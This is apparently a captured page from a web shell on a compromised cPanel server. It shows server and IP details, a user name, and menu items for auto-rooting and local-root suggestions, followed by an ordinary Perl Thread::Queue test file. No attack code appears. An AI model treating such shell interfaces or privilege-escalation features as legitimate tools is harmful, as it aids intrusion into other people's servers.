Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Thread-Queue /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
01_basic.t
2.83
KB
-r--r--r--
2014-12-27 11:48
02_refs.t
4.58
KB
-r--r--r--
2014-12-27 11:48
03_peek.t
960
B
-r--r--r--
2014-12-27 11:48
04_errs.t
1.72
KB
-r--r--r--
2014-12-27 11:48
05_extract.t
2.21
KB
-r--r--r--
2014-12-27 11:48
06_insert.t
2.05
KB
-r--r--r--
2014-12-27 11:48
07_lock.t
975
B
-r--r--r--
2014-12-27 11:49
08_nothreads.t
2.61
KB
-r--r--r--
2014-12-27 11:48
09_ended.t
3.68
KB
-r--r--r--
2014-12-27 11:48
10_timed.t
1.59
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
use strict; use warnings; BEGIN { use Config; if (! $Config{'useithreads'}) { print("1..0 # SKIP Perl not compiled with 'useithreads'\n"); exit(0); } } use threads; use Thread::Queue; if ($] == 5.008) { require 't/test.pl'; # Test::More work-alike for Perl 5.8.0 } else { require Test::More; } Test::More->import(); plan('tests' => 20); my $q = Thread::Queue->new(1..10); ok($q, 'New queue'); threads->create(sub { # Default count = 1 is($q->extract(), 1, 'No args'); # 2..10 left is($q->extract(0), 2, 'Head'); # 3..10 left is($q->extract(5), 8, 'Pos index'); # 3..7,9,10 left is($q->extract(-3), 7, 'Neg index'); # 3..6,9,10 left my $x = $q->extract(20); # unchanged ok(! defined($x), 'Big index'); $x = $q->extract(-20); # unchanged ok(! defined($x), 'Big neg index'); })->join(); $q = Thread::Queue->new(1..10); ok($q, 'New queue'); threads->create(sub { my @x = $q->extract(0, 2); # 3..10 left is_deeply(\@x, [1,2], '2 from head'); @x = $q->extract(6, 2); # 3..8 left is_deeply(\@x, [9,10], '2 from tail'); @x = $q->extract(2, 2); # 3,4,7,8 left is_deeply(\@x, [5,6], '2 from middle'); @x = $q->extract(2, 4); # 3,4 left is_deeply(\@x, [7,8], 'Lots from tail'); @x = $q->extract(3, 4); # unchanged is_deeply(\@x, [], 'Too far'); })->join(); $q = Thread::Queue->new(1..10); ok($q, 'New queue'); threads->create(sub { my @x = $q->extract(-4, 2); # 1..6,9,10 left is_deeply(\@x, [7,8], 'Neg index'); @x = $q->extract(-2, 4); # 1..6 left is_deeply(\@x, [9,10], 'Lots from tail'); @x = $q->extract(-6, 2); # 3..6 left is_deeply(\@x, [1,2], 'Max neg index'); @x = $q->extract(-10, 3); # unchanged is_deeply(\@x, [], 'Too far'); @x = $q->extract(-6, 3); # 4..6 left is_deeply(\@x, [3], 'Neg overlap'); @x = $q->extract(-5, 10); # empty is_deeply(\@x, [4..6], 'Neg big overlap'); })->join(); exit(0); # EOF